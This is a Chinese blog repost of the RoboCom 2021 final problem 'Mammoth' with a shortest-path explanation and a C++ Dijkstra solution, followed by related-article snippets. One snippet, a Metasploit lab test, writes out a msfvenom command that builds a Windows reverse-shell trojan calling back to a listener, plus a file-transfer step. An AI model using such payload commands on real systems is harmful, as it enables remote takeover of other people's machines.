RoboCom 2021 编程技能赛决赛 7-4 猛犸不上 Ban

news2024/12/24 11:37:48

7-4 猛犸不上 Ban

赛题

分数 30  作者 DAI, Longao  单位 杭州百腾教育科技有限公司

mammoth-gd01e31f27_640.png

在一个名叫刀塔的国家里,有一只猛犸正在到处跑着,希望能够用它的长角抛物技能来撞飞别人。已知刀塔国有 N 座城市,城市之间由 M 条道路互相连接,为了拦住这头猛犸,每条道路上设置了 Vi​ 人的团队。

这只猛犸从 S 号城市出发,它可以选择:

  1. 在不重复地经过若干条道路后回到 S 号城市;
  2. 在不重复地经过若干条道路后到达 T 号城市。

猛犸经过一条道路后,就会把路上的人全部撞飞。作为一头爱喝雪碧的仁慈的猛犸,自然希望尽可能的少撞飞人。请你帮忙计算一下在最优的选择下,最少需要撞飞多少人才能够到达目标城市?

输入格式:

输入第一行是四个正整数 N,M,S,T (2≤N≤500,1≤M≤10^5),表示有 N 个城市,M 条道路,猛犸从 S 号城市出发,可以选择到达 T 号城市。

接下来的 M 行,每行三个正整数 Xi​,Yi​,Vi​ (0≤Vi​≤100),表示从 Xi​ 号城市到 Yi​ 号城市有一条道路,道路上有 Vi​ 人的团队。道路可双向通行,城市编号从 1 开始,两个城市之间最多只有一条道路,且没有一条道路连接相同的城市。

数据保证两种选择里至少有一种是可行的。

输出格式:

输出两行,第一行是两个数字,分别对应上面的两种选择分别最少需要撞飞多少人。如果无论撞飞多少人都无法满足选择要求,则输出 -1

第二行是一个句子,如果第一种(回到原点)的选择比较好,就输出 Win!,否则输出Lose!

输入样例:

5 6 1 5
1 2 1
2 3 2
3 4 3
4 1 5
3 5 4
4 5 1

输出样例:

在这里给出相应的输出。例如:

11 6
Lose!

代码长度限制

16 KB

时间限制

800 ms

内存限制

64 MB

栈限制

8192 KB

思路

1.寻找最短路径问题。

2.第一种方式回到S城市,可以分解成:到了某相邻城市,然后再回来。

3.第二种方式,直接到T城市,可以看作S为原点,到T的最短路径。

4.第一种方式的最小值,应该为S和该相邻城市的直线距离与不走该直线,S和该城市的最短距离之和。

5.两种方式都可以使用dijkstra算法。

AC

//7-4 猛犸不上 Ban dijkstra算法

#include <bits/stdc++.h>

using namespace std;
int N,M,S,T;// N 个城市,M 条道路,从S城市出发,可以选择到达T城市
const int SIZE = 505;
#define ll long long
int g[SIZE][SIZE];//存储两个城市间的权重、人数
int x,y,v;
int d[SIZE];//从S出发,最短距离
bool dv[SIZE];//从S出发,最短距离,标记是否走过
bool dv2[SIZE][SIZE];//从S到T直线距离,标记是否走过
int pre[SIZE];//S节点的前置节点
const int big = 0x3f3f3f;

//所有节点距离原始节点的最短距离
void dijkstra1() {
	int c=-1;//当前选中节点
	while(true) {
		c=-1;
		//选出当前未访问的最近节点,第一次时d[S]为0,自身最近
		for(int i=1; i<=N; i++) {
			if(!dv[i]&&(c==-1||d[i]<d[c])) {
				c=i;
			}
		}
		if(c==-1) {
			break;//均已经访问完
		}
		dv[c]=true;
		for(int i=1; i<=N; i++) {
			if(d[i]>d[c]+g[c][i]) {
				//若和当前节点相邻,会被标记处,且标记处最短的
				d[i]=d[c]+g[c][i];
				pre[i]=c;
			}
		}
	}
}

//所有节点距离原始节点的不走最短距离的次最短距离
void dijkstra2(int xx) {
	int c=-1;//当前选中节点
	while(true) {
		c=-1;
		//选出当前未访问的最近节点,第一次时d[S]为0,自身最近
		for(int i=1; i<=N; i++) {
			if(!dv[i]&&(c==-1||d[c]>d[i])) {
				c=i;
			}
		}
		if(c==-1) {
			break;//均已经访问完
		}
		dv[c]=true;
		for(int i=1; i<=N; i++) {
			//如果当前节点到目标节点正好是不能走的那条路 
			if(dv2[c][i]) continue;
			if(d[i]>d[c]+g[c][i]) {
				//若和当前节点相邻,会被标记处,且标记处最短的
				d[i]=d[c]+g[c][i];
			}
		}
	}
}

int main() {
	cin>>N>>M>>S>>T;
	//未告诉的说明不通,无限大
	memset(g,big,sizeof g);
	for(int i=1; i<=M; i++) {
		cin>>x>>y>>v;
		g[x][y]=g[y][x]=v;
	}
	memset(d,big,sizeof d);
	memset(dv,false,sizeof dv);
	//目标节点为初始节点
	d[S]=0;
	dijkstra1();
	int min1=d[T];

	int min2=big;
	//已经遍历完S到T的距离
	//下面判断S途径一个绕回来的距离
	for(int i=1; i<=N; i++) {
		//所有S的一级子节点
		if(pre[i]==S) {
			memset(d,big,sizeof d);
			memset(dv2,false,sizeof dv2);
			memset(dv,false,sizeof dv);
			dv2[S][i]=dv2[i][S]=true;
			//目标节点为初始节点
			d[i]=0;
			dijkstra2(S);
			min2=min(d[S]+g[i][S],min2);
		}
	}

	cout<< (min2>=big? -1 : min2)<<" "<<(min1>=big? -1 :min1)<<endl;
	cout<<(min2<min1?"Win!":"Lose!")<<endl;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972335.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C语言】【数据结构】冒泡排序及优化

一、算法思想 冒泡排序是一种简单的排序算法。一次从前往后地走访待排序的元素序列被称为一趟&#xff0c;每一趟都会把相邻的两个元素的错误顺序交换&#xff0c;将当前趟次中最大或者最小的元素像“冒泡泡”一样冒到最后面&#xff0c;反复地走访元素序列&#xff0c;直到所有…

Maven 安装-从下载、安装、配置以及检查是否安装成功,最详细安装教程

以下内容参考&#xff1a;https://juejin.cn/post/6844903543711907848 原文标题&#xff1a;Maven入门&#xff0c;读完这篇就够了 作者&#xff1a;嘟嘟MD 链接&#xff1a;https://juejin.cn/post/6844903543711907848 来源&#xff1a;稀土掘金 ----- 注&#xff1a;所有流…

计算机组成原理——运算器ALU,移位操作

一、组合逻辑电路和时序逻辑电路 组合逻辑电路&#xff1a;其输出仅取决于当前输入组合&#xff0c;不依赖先前输出&#xff0c;不具备存储状态的能力 时序逻辑电路&#xff1a;其输出不仅取决于当前输入&#xff0c;还取决于先前的输出&#xff0c;具备存储状态的能力。 AL…

多 NodeJS 环境管理

前言 对于某个项目依赖特定版本的 NodeJS&#xff0c;或几个项目的 NodeJS 版本冲突时&#xff0c;需要在系统中安装多个版本的 NodeJS&#xff0c;这时可以使用一些工具来进行多个 NodeJS 的管理。 有很多类似的 NodeJS 管理工具&#xff0c;如 nvm, nvs, n 等&#xff0c;接…

【Unity】 HTFramework框架(五十四)【进阶篇】Deployment 轻量级资源部署管线

更新日期&#xff1a;2024年7月31日。 Github源码&#xff1a;[点我获取源码] 索引 Deployment 轻量级资源部署管线使用 Deployment一、创建部署配置二、编辑部署配置三、正式开始资源部署步骤一&#xff1a;资源打包步骤二&#xff1a;资源版本构建步骤三&#xff1a;资源版本…

学习C语言第19天(练习题)

编程题 第一题 改数字 //改数字 int gaishuzi(int * input) {int sum 0;int i 0;while (*input){int bit* input% 10;if (bit % 2 1){sum 1 * pow(10, i);i;}else{sum 0* pow(10, i);i;}*input / 10;}return sum; } int main() {int input 0;scanf("%d&quo…

域气象-大气化学在线耦合模式(WRF/Chem)在大气环境中的应用

随着我国经济快速发展&#xff0c;我国面临着日益严重的大气污染问题。近年来&#xff0c;严重的大气污染问题已经明显影响国计民生&#xff0c;引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果&#xff0c;同时气象因…

嵌入式day17

尾插&#xff1a; 头删&#xff1a; 尾删&#xff1a; 双向链表&#xff1a; 循环链表&#xff1a; 内存泄漏&#xff08;malloc 调用的节点需要手动清除&#xff09; 清除&#xff1a; 头删效率更高&#xff0c;算法复杂度更低 共用体 共用体的成员&#xff0c;会共同占用相…

CX32L003F8P6T芯片解密程序破解

CX32L003F8P6T可替代N76E003 CX32L003是一款内嵌32位ARM Cortex-M0内核的超低功耗、Low Pin Count和宽电压工作范围(2.5V~5.5V)的微控制器&#xff0c;最高可运行在24MHz&#xff0c;内置32K/64K字节的嵌入式Flash&#xff0c;4K字节的SRAM&#xff0c;集成了12位1Msps高精度SA…

结构型设计模式:适配器/代理

结构型设计模式&#xff1a;适配器/代理 (qq.com)

软件测试——用例篇(下)

基于需求的设计⽅法 基于需求的设计⽅法也是总的设计测试⽤例的⽅法&#xff0c;在⼯作中&#xff0c; 我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后&#xff0c; 要对需求进⾏分析和验证&#xff0c;从合理的需求中进⼀步分析细化需求&#x…

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前&#xff0c;大家保存数据要么是在程序运行期间&#xff0c;例如&#xff1a;在学习编程语言的时候&#xff0c;大家写过的管理系统&#xff0c;运用一些简单的数据结构&#xff08;例如顺序表&#xff09;来组织数据&#xff0c;可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的&#xff0c;是真实的技术吗&#xff1f; 图片来源&#xff1a;论文《PULSE&#xff1a;Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列&#xff0c;感兴趣的朋友可以添加关注&#xff0c;欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol&#xff0c;翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议&#xff0c;它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法&#xff1a; 每一列雨水的高度&#xff0c;取决于&#xff0c;该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度&#xff0c;即&#xff1a; min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一&#xff0c; 线程 1.1 进程 进程就是一个程序运行的标志&#xff0c;是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配&#xff08;计算资源&#xff0c;比如CPU&#xff0c;存储:内存&#xff09;的最小单…

Day5

BootStrap 这个玩意可以理解为&#xff0c;已经写好的css样式的封装。 在开发中&#xff0c;如果需要用到这个&#xff0c; 首先得下载下来 找到官网&#xff0c;Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5&#xff0c; 解压后&#xff0c;把该文件夹放进项目…

计算机三级嵌入式笔记(四)——嵌入式系统软件

目录 考点1 嵌入式软件的特点 考点2 嵌入式系统的软件结构 考点3 硬件抽象层与板级支持包 考点4 引导加载程序 考点5 嵌入式系统的设备驱动程序 考点6 实时系统与实时操作系统 考点7 嵌入式操作系统概述 考点8 Linux 内核 考点9 嵌入式 Linux 操作系统 考点10 Androi…